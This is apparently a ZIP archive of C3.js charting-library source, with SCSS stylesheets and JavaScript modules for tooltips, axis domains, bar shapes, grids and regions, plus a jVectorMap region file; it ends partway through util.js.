PKK|�\��--scss/brush.scssnu�[���.c3-brush .extent {
  fill-opacity: .1;
}
PKK|�\ck����scss/focus.scssnu�[���.c3-target.c3-focused {
  opacity: 1;
}
.c3-target.c3-focused path.c3-line, .c3-target.c3-focused path.c3-step {
  stroke-width: 2px;
}
.c3-target.c3-defocused {
  opacity: 0.3 !important;
}
PKK|�\�YYNNscss/text.scssnu�[���.c3-text {
}

.c3-text.c3-empty {
  fill: #808080;
  font-size: 2em;
}
PKK|�\����scss/zoom.scssnu�[���.c3-drag-zoom.enabled{
  pointer-events: all!important;
  visibility: visible;
}

.c3-drag-zoom.disabled{
    pointer-events: none!important;
    visibility: hidden;
}

.c3-drag-zoom .extent {
    fill-opacity: .1;
}
PKK|�\DP9scss/select_drag.scssnu�[���.c3-dragarea {
}
PKK|�\W�44scss/area.scssnu�[���.c3-area {
  stroke-width: 0;
  opacity: 0.2;
}
PKK|�\�/�1��scss/main.scssnu�[���/*-- Chart --*/

@import 'chart';

/*-- Axis --*/

@import 'axis';

/*-- Grid --*/

@import 'grid';

/*-- Text on Chart --*/

@import 'text';

/*-- Line --*/

@import 'line';

/*-- Point --*/

@import 'point';

/*-- Bar --*/

@import 'bar';

/*-- Focus --*/

@import 'focus';

/*-- Region --*/

@import 'region';

/*-- Brush --*/

@import 'brush';

/*-- Select - Drag --*/

@import 'select_drag';

/*-- Legend --*/

@import 'legend';

/*-- Title --*/

@import 'title';

/*-- Tooltip --*/

@import 'tooltip';

/*-- Area --*/

@import 'area';

/*-- Arc --*/

@import 'arc';

/*-- Zoom --*/

@import 'zoom';
PKK|�\Ͽp**scss/title.scssnu�[���.c3-title {
  font: 14px sans-serif;
}
PKK|�\R�(�%%scss/line.scssnu�[���.c3-line {
  stroke-width: 1px;
}
PKK|�\����scss/legend.scssnu�[���.c3-legend-item {
  font-size: 12px;
}
.c3-legend-item-hidden {
  opacity: 0.15;
}

.c3-legend-background {
  opacity: 0.75;
  fill: white;
  stroke: lightgray;
  stroke-width: 1
}
PKK|�\Y�?::scss/region.scssnu�[���.c3-region {
  fill: steelblue;
  fill-opacity: .1;
}
PKK|�\2��ff
scss/bar.scssnu�[���.c3-bar {
  stroke-width: 0;
}
.c3-bar._expanded_ {
  fill-opacity: 1;
  fill-opacity: 0.75;
}
PKK|�\+�u��api.color.jsnu�[���import { Chart } from './core';

// TODO: fix
Chart.prototype.color = function (id) {
    var $$ = this.internal;
    return $$.color(id); // more patterns
};
PKK|�\]xhKp p 
tooltip.jsnu�[���import CLASS from './class';
import {
    ChartInternal
} from './core';
import {
    isValue,
    isFunction,
    isArray,
    isString,
    sanitise
} from './util';

ChartInternal.prototype.initTooltip = function () {
    var $$ = this,
        config = $$.config,
        i;
    $$.tooltip = $$.selectChart
        .style("position", "relative")
        .append("div")
        .attr('class', CLASS.tooltipContainer)
        .style("position", "absolute")
        .style("pointer-events", "none")
        .style("display", "none");
    // Show tooltip if needed
    if (config.tooltip_init_show) {
        if ($$.isTimeSeries() && isString(config.tooltip_init_x)) {
            config.tooltip_init_x = $$.parseDate(config.tooltip_init_x);
            for (i = 0; i < $$.data.targets[0].values.length; i++) {
                if (($$.data.targets[0].values[i].x - config.tooltip_init_x) === 0) {
                    break;
                }
            }
            config.tooltip_init_x = i;
        }
        $$.tooltip.html(config.tooltip_contents.call($$, $$.data.targets.map(function (d) {
            return $$.addName(d.values[config.tooltip_init_x]);
        }), $$.axis.getXAxisTickFormat(), $$.getYFormat($$.hasArcType()), $$.color));
        $$.tooltip.style("top", config.tooltip_init_position.top)
            .style("left", config.tooltip_init_position.left)
            .style("display", "block");
    }
};
ChartInternal.prototype.getTooltipSortFunction = function () {
    var $$ = this,
        config = $$.config;

    if (config.data_groups.length === 0 || config.tooltip_order !== undefined) {
        // if data are not grouped or if an order is specified
        // for the tooltip values we sort them by their values

        var order = config.tooltip_order;
        if (order === undefined) {
            order = config.data_order;
        }

        var valueOf = function (obj) {
            return obj ? obj.value : null;
        };

        // if data are not grouped, we sort them by their value
        if (isString(order) && order.toLowerCase() === 'asc') {
            return function (a, b) {
                return valueOf(a) - valueOf(b);
            };
        } else if (isString(order) && order.toLowerCase() === 'desc') {
            return function (a, b) {
                return valueOf(b) - valueOf(a);
            };
        } else if (isFunction(order)) {

            // if the function is from data_order we need
            // to wrap the returned function in order to format
            // the sorted value to the expected format

            var sortFunction = order;

            if (config.tooltip_order === undefined) {
                sortFunction = function (a, b) {
                    return order(a ? {
                        id: a.id,
                        values: [a]
                    } : null, b ? {
                        id: b.id,
                        values: [b]
                    } : null);
                };
            }

            return sortFunction;

        } else if (isArray(order)) {
            return function (a, b) {
                return order.indexOf(a.id) - order.indexOf(b.id);
            };
        }
    } else {
        // if data are grouped, we follow the order of grouped targets
        var ids = $$.orderTargets($$.data.targets).map(function (i) {
            return i.id;
        });

        // if it was either asc or desc we need to invert the order
        // returned by orderTargets
        if ($$.isOrderAsc() || $$.isOrderDesc()) {
            ids = ids.reverse();
        }

        return function (a, b) {
            return ids.indexOf(a.id) - ids.indexOf(b.id);
        };
    }
};
ChartInternal.prototype.getTooltipContent = function (d, defaultTitleFormat, defaultValueFormat, color) {
    var $$ = this,
        config = $$.config,
        titleFormat = config.tooltip_format_title || defaultTitleFormat,
        nameFormat = config.tooltip_format_name || function (name) {
            return name;
        },
        valueFormat = config.tooltip_format_value || defaultValueFormat,
        text, i, title, value, name, bgcolor;

    var tooltipSortFunction = this.getTooltipSortFunction();
    if (tooltipSortFunction) {
        d.sort(tooltipSortFunction);
    }

    for (i = 0; i < d.length; i++) {
        if (!(d[i] && (d[i].value || d[i].value === 0))) {
            continue;
        }

        if (!text) {
            title = sanitise(titleFormat ? titleFormat(d[i].x) : d[i].x);
            text = "<table class='" + $$.CLASS.tooltip + "'>" + (title || title === 0 ? "<tr><th colspan='2'>" + title + "</th></tr>" : "");
        }

        value = sanitise(valueFormat(d[i].value, d[i].ratio, d[i].id, d[i].index, d));
        if (value !== undefined) {
            // Skip elements when their name is set to null
            if (d[i].name === null) {
                continue;
            }
            name = sanitise(nameFormat(d[i].name, d[i].ratio, d[i].id, d[i].index));
            bgcolor = $$.levelColor ? $$.levelColor(d[i].value) : color(d[i].id);

            text += "<tr class='" + $$.CLASS.tooltipName + "-" + $$.getTargetSelectorSuffix(d[i].id) + "'>";
            text += "<td class='name'><span style='background-color:" + bgcolor + "'></span>" + name + "</td>";
            text += "<td class='value'>" + value + "</td>";
            text += "</tr>";
        }
    }
    return text + "</table>";
};
ChartInternal.prototype.tooltipPosition = function (dataToShow, tWidth, tHeight, element) {
    var $$ = this,
        config = $$.config,
        d3 = $$.d3;
    var svgLeft, tooltipLeft, tooltipRight, tooltipTop, chartRight;
    var forArc = $$.hasArcType(),
        mouse = d3.mouse(element);
    // Determin tooltip position
    if (forArc) {
        tooltipLeft = (($$.width - ($$.isLegendRight ? $$.getLegendWidth() : 0)) / 2) + mouse[0];
        tooltipTop = ($$.hasType('gauge') ? $$.height : $$.height / 2) + mouse[1] + 20;
    } else {
        svgLeft = $$.getSvgLeft(true);
        if (config.axis_rotated) {
            tooltipLeft = svgLeft + mouse[0] + 100;
            tooltipRight = tooltipLeft + tWidth;
            chartRight = $$.currentWidth - $$.getCurrentPaddingRight();
            tooltipTop = $$.x(dataToShow[0].x) + 20;
        } else {
            tooltipLeft = svgLeft + $$.getCurrentPaddingLeft(true) + $$.x(dataToShow[0].x) + 20;
            tooltipRight = tooltipLeft + tWidth;
            chartRight = svgLeft + $$.currentWidth - $$.getCurrentPaddingRight();
            tooltipTop = mouse[1] + 15;
        }

        if (tooltipRight > chartRight) {
            // 20 is needed for Firefox to keep tooltip width
            tooltipLeft -= tooltipRight - chartRight + 20;
        }
        if (tooltipTop + tHeight > $$.currentHeight) {
            tooltipTop -= tHeight + 30;
        }
    }
    if (tooltipTop < 0) {
        tooltipTop = 0;
    }
    return {
        top: tooltipTop,
        left: tooltipLeft
    };
};
ChartInternal.prototype.showTooltip = function (selectedData, element) {
    var $$ = this,
        config = $$.config;
    var tWidth, tHeight, position;
    var forArc = $$.hasArcType(),
        dataToShow = selectedData.filter(function (d) {
            return d && isValue(d.value);
        }),
        positionFunction = config.tooltip_position || ChartInternal.prototype.tooltipPosition;
    if (dataToShow.length === 0 || !config.tooltip_show) {
        return;
    }
    $$.tooltip.html(config.tooltip_contents.call($$, selectedData, $$.axis.getXAxisTickFormat(), $$.getYFormat(forArc), $$.color)).style("display", "block");

    // Get tooltip dimensions
    tWidth = $$.tooltip.property('offsetWidth');
    tHeight = $$.tooltip.property('offsetHeight');

    position = positionFunction.call(this, dataToShow, tWidth, tHeight, element);
    // Set tooltip
    $$.tooltip
        .style("top", position.top + "px")
        .style("left", position.left + 'px');
};
ChartInternal.prototype.hideTooltip = function () {
    this.tooltip.style("display", "none");
};
PKK|�\���nnapi.grid.jsnu�[���import { Chart } from './core';

Chart.prototype.xgrids = function (grids) {
    var $$ = this.internal, config = $$.config;
    if (! grids) { return config.grid_x_lines; }
    config.grid_x_lines = grids;
    $$.redrawWithoutRescale();
    return config.grid_x_lines;
};
Chart.prototype.xgrids.add = function (grids) {
    var $$ = this.internal;
    return this.xgrids($$.config.grid_x_lines.concat(grids ? grids : []));
};
Chart.prototype.xgrids.remove = function (params) { // TODO: multiple
    var $$ = this.internal;
    $$.removeGridLines(params, true);
};

Chart.prototype.ygrids = function (grids) {
    var $$ = this.internal, config = $$.config;
    if (! grids) { return config.grid_y_lines; }
    config.grid_y_lines = grids;
    $$.redrawWithoutRescale();
    return config.grid_y_lines;
};
Chart.prototype.ygrids.add = function (grids) {
    var $$ = this.internal;
    return this.ygrids($$.config.grid_y_lines.concat(grids ? grids : []));
};
Chart.prototype.ygrids.remove = function (params) { // TODO: multiple
    var $$ = this.internal;
    $$.removeGridLines(params, false);
};
PKK|�\3MǏ�+�+	domain.jsnu�[���import { ChartInternal } from './core';
import { isValue, isDefined, diffDomain, notEmpty } from './util';

ChartInternal.prototype.getYDomainMin = function (targets) {
    var $$ = this, config = $$.config,
        ids = $$.mapToIds(targets), ys = $$.getValuesAsIdKeyed(targets),
        j, k, baseId, idsInGroup, id, hasNegativeValue;
    if (config.data_groups.length > 0) {
        hasNegativeValue = $$.hasNegativeValueInTargets(targets);
        for (j = 0; j < config.data_groups.length; j++) {
            // Determine baseId
            idsInGroup = config.data_groups[j].filter(function (id) { return ids.indexOf(id) >= 0; });
            if (idsInGroup.length === 0) { continue; }
            baseId = idsInGroup[0];
            // Consider negative values
            if (hasNegativeValue && ys[baseId]) {
                ys[baseId].forEach(function (v, i) {
                    ys[baseId][i] = v < 0 ? v : 0;
                });
            }
            // Compute min
            for (k = 1; k < idsInGroup.length; k++) {
                id = idsInGroup[k];
                if (! ys[id]) { continue; }
                ys[id].forEach(function (v, i) {
                    if ($$.axis.getId(id) === $$.axis.getId(baseId) && ys[baseId] && !(hasNegativeValue && +v > 0)) {
                        ys[baseId][i] += +v;
                    }
                });
            }
        }
    }
    return $$.d3.min(Object.keys(ys).map(function (key) { return $$.d3.min(ys[key]); }));
};
ChartInternal.prototype.getYDomainMax = function (targets) {
    var $$ = this, config = $$.config,
        ids = $$.mapToIds(targets), ys = $$.getValuesAsIdKeyed(targets),
        j, k, baseId, idsInGroup, id, hasPositiveValue;
    if (config.data_groups.length > 0) {
        hasPositiveValue = $$.hasPositiveValueInTargets(targets);
        for (j = 0; j < config.data_groups.length; j++) {
            // Determine baseId
            idsInGroup = config.data_groups[j].filter(function (id) { return ids.indexOf(id) >= 0; });
            if (idsInGroup.length === 0) { continue; }
            baseId = idsInGroup[0];
            // Consider positive values
            if (hasPositiveValue && ys[baseId]) {
                ys[baseId].forEach(function (v, i) {
                    ys[baseId][i] = v > 0 ? v : 0;
                });
            }
            // Compute max
            for (k = 1; k < idsInGroup.length; k++) {
                id = idsInGroup[k];
                if (! ys[id]) { continue; }
                ys[id].forEach(function (v, i) {
                    if ($$.axis.getId(id) === $$.axis.getId(baseId) && ys[baseId] && !(hasPositiveValue && +v < 0)) {
                        ys[baseId][i] += +v;
                    }
                });
            }
        }
    }
    return $$.d3.max(Object.keys(ys).map(function (key) { return $$.d3.max(ys[key]); }));
};
ChartInternal.prototype.getYDomain = function (targets, axisId, xDomain) {
    var $$ = this, config = $$.config,
        targetsByAxisId = targets.filter(function (t) { return $$.axis.getId(t.id) === axisId; }),
        yTargets = xDomain ? $$.filterByXDomain(targetsByAxisId, xDomain) : targetsByAxisId,
        yMin = axisId === 'y2' ? config.axis_y2_min : config.axis_y_min,
        yMax = axisId === 'y2' ? config.axis_y2_max : config.axis_y_max,
        yDomainMin = $$.getYDomainMin(yTargets),
        yDomainMax = $$.getYDomainMax(yTargets),
        domain, domainLength, padding, padding_top, padding_bottom,
        center = axisId === 'y2' ? config.axis_y2_center : config.axis_y_center,
        yDomainAbs, lengths, diff, ratio, isAllPositive, isAllNegative,
        isZeroBased = ($$.hasType('bar', yTargets) && config.bar_zerobased) || ($$.hasType('area', yTargets) && config.area_zerobased),
        isInverted = axisId === 'y2' ? config.axis_y2_inverted : config.axis_y_inverted,
        showHorizontalDataLabel = $$.hasDataLabel() && config.axis_rotated,
        showVerticalDataLabel = $$.hasDataLabel() && !config.axis_rotated;

    // MEMO: avoid inverting domain unexpectedly
    yDomainMin = isValue(yMin) ? yMin : isValue(yMax) ? (yDomainMin < yMax ? yDomainMin : yMax - 10) : yDomainMin;
    yDomainMax = isValue(yMax) ? yMax : isValue(yMin) ? (yMin < yDomainMax ? yDomainMax : yMin + 10) : yDomainMax;

    if (yTargets.length === 0) { // use current domain if target of axisId is none
        return axisId === 'y2' ? $$.y2.domain() : $$.y.domain();
    }
    if (isNaN(yDomainMin)) { // set minimum to zero when not number
        yDomainMin = 0;
    }
    if (isNaN(yDomainMax)) { // set maximum to have same value as yDomainMin
        yDomainMax = yDomainMin;
    }
    if (yDomainMin === yDomainMax) {
        yDomainMin < 0 ? yDomainMax = 0 : yDomainMin = 0;
    }
    isAllPositive = yDomainMin >= 0 && yDomainMax >= 0;
    isAllNegative = yDomainMin <= 0 && yDomainMax <= 0;

    // Cancel zerobased if axis_*_min / axis_*_max specified
    if ((isValue(yMin) && isAllPositive) || (isValue(yMax) && isAllNegative)) {
        isZeroBased = false;
    }

    // Bar/Area chart should be 0-based if all positive|negative
    if (isZeroBased) {
        if (isAllPositive) { yDomainMin = 0; }
        if (isAllNegative) { yDomainMax = 0; }
    }

    domainLength = Math.abs(yDomainMax - yDomainMin);
    padding = padding_top = padding_bottom = domainLength * 0.1;

    if (typeof center !== 'undefined') {
        yDomainAbs = Math.max(Math.abs(yDomainMin), Math.abs(yDomainMax));
        yDomainMax = center + yDomainAbs;
        yDomainMin = center - yDomainAbs;
    }
    // add padding for data label
    if (showHorizontalDataLabel) {
        lengths = $$.getDataLabelLength(yDomainMin, yDomainMax, 'width');
        diff = diffDomain($$.y.range());
        ratio = [lengths[0] / diff, lengths[1] / diff];
        padding_top += domainLength * (ratio[1] / (1 - ratio[0] - ratio[1]));
        padding_bottom += domainLength * (ratio[0] / (1 - ratio[0] - ratio[1]));
    } else if (showVerticalDataLabel) {
        lengths = $$.getDataLabelLength(yDomainMin, yDomainMax, 'height');
        padding_top += $$.axis.convertPixelsToAxisPadding(lengths[1], domainLength);
        padding_bottom += $$.axis.convertPixelsToAxisPadding(lengths[0], domainLength);
    }
    if (axisId === 'y' && notEmpty(config.axis_y_padding)) {
        padding_top = $$.axis.getPadding(config.axis_y_padding, 'top', padding_top, domainLength);
        padding_bottom = $$.axis.getPadding(config.axis_y_padding, 'bottom', padding_bottom, domainLength);
    }
    if (axisId === 'y2' && notEmpty(config.axis_y2_padding)) {
        padding_top = $$.axis.getPadding(config.axis_y2_padding, 'top', padding_top, domainLength);
        padding_bottom = $$.axis.getPadding(config.axis_y2_padding, 'bottom', padding_bottom, domainLength);
    }
    // Bar/Area chart should be 0-based if all positive|negative
    if (isZeroBased) {
        if (isAllPositive) { padding_bottom = yDomainMin; }
        if (isAllNegative) { padding_top = -yDomainMax; }
    }
    domain = [yDomainMin - padding_bottom, yDomainMax + padding_top];
    return isInverted ? domain.reverse() : domain;
};
ChartInternal.prototype.getXDomainMin = function (targets) {
    var $$ = this, config = $$.config;
    return isDefined(config.axis_x_min) ?
        ($$.isTimeSeries() ? this.parseDate(config.axis_x_min) : config.axis_x_min) :
    $$.d3.min(targets, function (t) { return $$.d3.min(t.values, function (v) { return v.x; }); });
};
ChartInternal.prototype.getXDomainMax = function (targets) {
    var $$ = this, config = $$.config;
    return isDefined(config.axis_x_max) ?
        ($$.isTimeSeries() ? this.parseDate(config.axis_x_max) : config.axis_x_max) :
    $$.d3.max(targets, function (t) { return $$.d3.max(t.values, function (v) { return v.x; }); });
};
ChartInternal.prototype.getXDomainPadding = function (domain) {
    var $$ = this, config = $$.config,
        diff = domain[1] - domain[0],
        maxDataCount, padding, paddingLeft, paddingRight;
    if ($$.isCategorized()) {
        padding = 0;
    } else if ($$.hasType('bar')) {
        maxDataCount = $$.getMaxDataCount();
        padding = maxDataCount > 1 ? (diff / (maxDataCount - 1)) / 2 : 0.5;
    } else {
        padding = diff * 0.01;
    }
    if (typeof config.axis_x_padding === 'object' && notEmpty(config.axis_x_padding)) {
        paddingLeft = isValue(config.axis_x_padding.left) ? config.axis_x_padding.left : padding;
        paddingRight = isValue(config.axis_x_padding.right) ? config.axis_x_padding.right : padding;
    } else if (typeof config.axis_x_padding === 'number') {
        paddingLeft = paddingRight = config.axis_x_padding;
    } else {
        paddingLeft = paddingRight = padding;
    }
    return {left: paddingLeft, right: paddingRight};
};
ChartInternal.prototype.getXDomain = function (targets) {
    var $$ = this,
        xDomain = [$$.getXDomainMin(targets), $$.getXDomainMax(targets)],
        firstX = xDomain[0], lastX = xDomain[1],
        padding = $$.getXDomainPadding(xDomain),
        min = 0, max = 0;
    // show center of x domain if min and max are the same
    if ((firstX - lastX) === 0 && !$$.isCategorized()) {
        if ($$.isTimeSeries()) {
            firstX = new Date(firstX.getTime() * 0.5);
            lastX = new Date(lastX.getTime() * 1.5);
        } else {
            firstX = firstX === 0 ? 1 : (firstX * 0.5);
            lastX = lastX === 0 ? -1 : (lastX * 1.5);
        }
    }
    if (firstX || firstX === 0) {
        min = $$.isTimeSeries() ? new Date(firstX.getTime() - padding.left) : firstX - padding.left;
    }
    if (lastX || lastX === 0) {
        max = $$.isTimeSeries() ? new Date(lastX.getTime() + padding.right) : lastX + padding.right;
    }
    return [min, max];
};
ChartInternal.prototype.updateXDomain = function (targets, withUpdateXDomain, withUpdateOrgXDomain, withTrim, domain) {
    var $$ = this, config = $$.config;

    if (withUpdateOrgXDomain) {
        $$.x.domain(domain ? domain : $$.d3.extent($$.getXDomain(targets)));
        $$.orgXDomain = $$.x.domain();
        if (config.zoom_enabled) { $$.zoom.update(); }
        $$.subX.domain($$.x.domain());
        if ($$.brush) { $$.brush.updateScale($$.subX); }
    }
    if (withUpdateXDomain) {
        $$.x.domain(domain ? domain : (!$$.brush || $$.brush.empty()) ? $$.orgXDomain : $$.brush.selectionAsValue());
    }

    // Trim domain when too big by zoom mousemove event
    if (withTrim) { $$.x.domain($$.trimXDomain($$.x.orgDomain())); }

    return $$.x.domain();
};
ChartInternal.prototype.trimXDomain = function (domain) {
    var zoomDomain = this.getZoomDomain(),
        min = zoomDomain[0], max = zoomDomain[1];
    if (domain[0] <= min) {
        domain[1] = +domain[1] + (min - domain[0]);
        domain[0] = min;
    }
    if (max <= domain[1]) {
        domain[0] = +domain[0] - (domain[1] - max);
        domain[1] = max;
    }
    return domain;
};
PKK|�\�cJ�KK	format.jsnu�[���import { ChartInternal } from './core';
import { isValue } from './util';

ChartInternal.prototype.getYFormat = function (forArc) {
    var $$ = this,
        formatForY = forArc && !$$.hasType('gauge') ? $$.defaultArcValueFormat : $$.yFormat,
        formatForY2 = forArc && !$$.hasType('gauge') ? $$.defaultArcValueFormat : $$.y2Format;
    return function (v, ratio, id) {
        var format = $$.axis.getId(id) === 'y2' ? formatForY2 : formatForY;
        return format.call($$, v, ratio);
    };
};
ChartInternal.prototype.yFormat = function (v) {
    var $$ = this, config = $$.config,
        format = config.axis_y_tick_format ? config.axis_y_tick_format : $$.defaultValueFormat;
    return format(v);
};
ChartInternal.prototype.y2Format = function (v) {
    var $$ = this, config = $$.config,
        format = config.axis_y2_tick_format ? config.axis_y2_tick_format : $$.defaultValueFormat;
    return format(v);
};
ChartInternal.prototype.defaultValueFormat = function (v) {
    return isValue(v) ? +v : "";
};
ChartInternal.prototype.defaultArcValueFormat = function (v, ratio) {
    return (ratio * 100).toFixed(1) + '%';
};
ChartInternal.prototype.dataLabelFormat = function (targetId) {
    var $$ = this, data_labels = $$.config.data_labels,
        format, defaultFormat = function (v) { return isValue(v) ? +v : ""; };
    // find format according to axis id
    if (typeof data_labels.format === 'function') {
        format = data_labels.format;
    } else if (typeof data_labels.format === 'object') {
        if (data_labels.format[targetId]) {
            format = data_labels.format[targetId] === true ? defaultFormat : data_labels.format[targetId];
        } else {
            format = function () { return ''; };
        }
    } else {
        format = defaultFormat;
    }
    return format;
};
PKK|�\HJ�Ozzapi.tooltip.jsnu�[���import { Chart } from './core';

Chart.prototype.tooltip = function () {};
Chart.prototype.tooltip.show = function (args) {
    var $$ = this.internal, targets, data, mouse = {};

    // determine mouse position on the chart
    if (args.mouse) {
        mouse = args.mouse;
    }
    else {
        // determine focus data
        if (args.data) {
            data = args.data;
        }
        else if (typeof args.x !== 'undefined') {
            if (args.id) {
                targets = $$.data.targets.filter(function(t){ return t.id === args.id; });
            } else {
                targets = $$.data.targets;
            }
            data = $$.filterByX(targets, args.x).slice(0,1)[0];
        }
        mouse = data ? $$.getMousePosition(data) : null;
    }

    // emulate mouse events to show
    $$.dispatchEvent('mousemove', mouse);

    $$.config.tooltip_onshow.call($$, data);
};
Chart.prototype.tooltip.hide = function () {
    // TODO: get target data by checking the state of focus
    this.internal.dispatchEvent('mouseout', 0);

    this.internal.config.tooltip_onhide.call(this);
};
PKK|�\�����shape.bar.jsnu�[���import CLASS from './class';
import { ChartInternal } from './core';
import { isValue } from './util';

ChartInternal.prototype.initBar = function () {
    var $$ = this;
    $$.main.select('.' + CLASS.chart).append("g")
        .attr("class", CLASS.chartBars);
};
ChartInternal.prototype.updateTargetsForBar = function (targets) {
    var $$ = this, config = $$.config,
        mainBars, mainBarEnter,
        classChartBar = $$.classChartBar.bind($$),
        classBars = $$.classBars.bind($$),
        classFocus = $$.classFocus.bind($$);
    mainBars = $$.main.select('.' + CLASS.chartBars).selectAll('.' + CLASS.chartBar)
        .data(targets)
        .attr('class', function (d) { return classChartBar(d) + classFocus(d); });
    mainBarEnter = mainBars.enter().append('g')
        .attr('class', classChartBar)
        .style("pointer-events", "none");
    // Bars for each data
    mainBarEnter.append('g')
        .attr("class", classBars)
        .style("cursor", function (d) { return config.data_selection_isselectable(d) ? "pointer" : null; });

};
ChartInternal.prototype.updateBar = function (durationForExit) {
    var $$ = this,
        barData = $$.barData.bind($$),
        classBar = $$.classBar.bind($$),
        initialOpacity = $$.initialOpacity.bind($$),
        color = function (d) { return $$.color(d.id); };
    var mainBar = $$.main.selectAll('.' + CLASS.bars).selectAll('.' + CLASS.bar)
        .data(barData);
    var mainBarEnter = mainBar.enter().append('path')
        .attr("class", classBar)
        .style("stroke", color)
        .style("fill", color);
    $$.mainBar = mainBarEnter.merge(mainBar)
        .style("opacity", initialOpacity);
    mainBar.exit().transition().duration(durationForExit)
        .style("opacity", 0);
};
ChartInternal.prototype.redrawBar = function (drawBar, withTransition, transition) {
    return [
        (withTransition ? this.mainBar.transition(transition) : this.mainBar)
            .attr('d', drawBar)
            .style("stroke", this.color)
            .style("fill", this.color)
            .style("opacity", 1)
    ];
};
ChartInternal.prototype.getBarW = function (axis, barTargetsNum) {
    var $$ = this, config = $$.config,
        w = typeof config.bar_width === 'number' ? config.bar_width : barTargetsNum ? (axis.tickInterval() * config.bar_width_ratio) / barTargetsNum : 0;
    return config.bar_width_max && w > config.bar_width_max ? config.bar_width_max : w;
};
ChartInternal.prototype.getBars = function (i, id) {
    var $$ = this;
    return (id ? $$.main.selectAll('.' + CLASS.bars + $$.getTargetSelectorSuffix(id)) : $$.main).selectAll('.' + CLASS.bar + (isValue(i) ? '-' + i : ''));
};
ChartInternal.prototype.expandBars = function (i, id, reset) {
    var $$ = this;
    if (reset) { $$.unexpandBars(); }
    $$.getBars(i, id).classed(CLASS.EXPANDED, true);
};
ChartInternal.prototype.unexpandBars = function (i) {
    var $$ = this;
    $$.getBars(i).classed(CLASS.EXPANDED, false);
};
ChartInternal.prototype.generateDrawBar = function (barIndices, isSub) {
    var $$ = this, config = $$.config,
        getPoints = $$.generateGetBarPoints(barIndices, isSub);
    return function (d, i) {
        // 4 points that make a bar
        var points = getPoints(d, i);

        // switch points if axis is rotated, not applicable for sub chart
        var indexX = config.axis_rotated ? 1 : 0;
        var indexY = config.axis_rotated ? 0 : 1;

        var path = 'M ' + points[0][indexX] + ',' + points[0][indexY] + ' ' +
                'L' + points[1][indexX] + ',' + points[1][indexY] + ' ' +
                'L' + points[2][indexX] + ',' + points[2][indexY] + ' ' +
                'L' + points[3][indexX] + ',' + points[3][indexY] + ' ' +
                'z';

        return path;
    };
};
ChartInternal.prototype.generateGetBarPoints = function (barIndices, isSub) {
    var $$ = this,
        axis = isSub ? $$.subXAxis : $$.xAxis,
        barTargetsNum = barIndices.__max__ + 1,
        barW = $$.getBarW(axis, barTargetsNum),
        barX = $$.getShapeX(barW, barTargetsNum, barIndices, !!isSub),
        barY = $$.getShapeY(!!isSub),
        barOffset = $$.getShapeOffset($$.isBarType, barIndices, !!isSub),
        barSpaceOffset = barW * ($$.config.bar_space / 2),
        yScale = isSub ? $$.getSubYScale : $$.getYScale;
    return function (d, i) {
        var y0 = yScale.call($$, d.id)(0),
            offset = barOffset(d, i) || y0, // offset is for stacked bar chart
            posX = barX(d), posY = barY(d);
        // fix posY not to overflow opposite quadrant
        if ($$.config.axis_rotated) {
            if ((0 < d.value && posY < y0) || (d.value < 0 && y0 < posY)) { posY = y0; }
        }
        // 4 points that make a bar
        return [
            [posX + barSpaceOffset, offset],
            [posX + barSpaceOffset, posY - (y0 - offset)],
            [posX + barW - barSpaceOffset, posY - (y0 - offset)],
            [posX + barW - barSpaceOffset, offset]
        ];
    };
};
ChartInternal.prototype.isWithinBar = function (mouse, that) {
    var box = that.getBoundingClientRect(),
        seg0 = that.pathSegList.getItem(0), seg1 = that.pathSegList.getItem(1),
        x = Math.min(seg0.x, seg1.x), y = Math.min(seg0.y, seg1.y),
        w = box.width, h = box.height, offset = 2,
        sx = x - offset, ex = x + w + offset, sy = y + h + offset, ey = y - offset;
    return sx < mouse[0] && mouse[0] < ex && ey < mouse[1] && mouse[1] < sy;
};
PKK|�\���
api.region.jsnu�[���import CLASS from './class';
import { Chart } from './core';

Chart.prototype.regions = function (regions) {
    var $$ = this.internal, config = $$.config;
    if (!regions) { return config.regions; }
    config.regions = regions;
    $$.redrawWithoutRescale();
    return config.regions;
};
Chart.prototype.regions.add = function (regions) {
    var $$ = this.internal, config = $$.config;
    if (!regions) { return config.regions; }
    config.regions = config.regions.concat(regions);
    $$.redrawWithoutRescale();
    return config.regions;
};
Chart.prototype.regions.remove = function (options) {
    var $$ = this.internal, config = $$.config,
        duration, classes, regions;

    options = options || {};
    duration = $$.getOption(options, "duration", config.transition_duration);
    classes = $$.getOption(options, "classes", [CLASS.region]);

    regions = $$.main.select('.' + CLASS.regions).selectAll(classes.map(function (c) { return '.' + c; }));
    (duration ? regions.transition().duration(duration) : regions)
        .style('opacity', 0)
        .remove();

    config.regions = config.regions.filter(function (region) {
        var found = false;
        if (!region['class']) {
            return true;
        }
        region['class'].split(' ').forEach(function (c) {
            if (classes.indexOf(c) >= 0) { found = true; }
        });
        return !found;
    });

    return config.regions;
};
PKK|�\�G3�	region.jsnu�[���jvm.Region = function(config){
  var bbox,
      text,
      offsets,
      labelDx,
      labelDy;

  this.config = config;
  this.map = this.config.map;

  this.shape = config.canvas.addPath({
    d: config.path,
    'data-code': config.code
  }, config.style, config.canvas.rootElement);
  this.shape.addClass('jvectormap-region jvectormap-element');

  bbox = this.shape.getBBox();

  text = this.getLabelText(config.code);
  if (this.config.label && text) {
    offsets = this.getLabelOffsets(config.code);
    this.labelX = bbox.x + bbox.width / 2 + offsets[0];
    this.labelY = bbox.y + bbox.height / 2 + offsets[1];
    this.label = config.canvas.addText({
      text: text,
      'text-anchor': 'middle',
      'alignment-baseline': 'central',
      x: this.labelX,
      y: this.labelY,
      'data-code': config.code
    }, config.labelStyle, config.labelsGroup);
    this.label.addClass('jvectormap-region jvectormap-element');
  }
};

jvm.inherits(jvm.Region, jvm.MapObject);

jvm.Region.prototype.updateLabelPosition = function(){
  if (this.label) {
    this.label.set({
      x: this.labelX * this.map.scale + this.map.transX * this.map.scale,
      y: this.labelY * this.map.scale + this.map.transY * this.map.scale
    });
  }
};PKK|�\V#�chart-internal.jsnu�[���export function ChartInternal(api) {
    var $$ = this;
    $$.d3 = window.d3 ? window.d3 : typeof require !== 'undefined' ? require("d3") : undefined;
    $$.api = api;
    $$.config = $$.getDefaultConfig();
    $$.data = {};
    $$.cache = {};
    $$.axes = {};
}
PKK|�\)�o��util.jsnu�[���export var asHalfPixel = function(n) {
    return Math.ceil(n) + 0.5;
};
export var ceil10 = function(v) {
    return Math.ceil(v / 10) * 10;
};
export var diffDomain = function(d) {
    return d[1] - d[0];
};
export var getOption = function(options, key, defaultValue) {
    return isDefined(options[key]) ? options[key] : defaultValue;
};
export var getPathBox = function(path) {
    var box = path.getBoundingClientRect(),
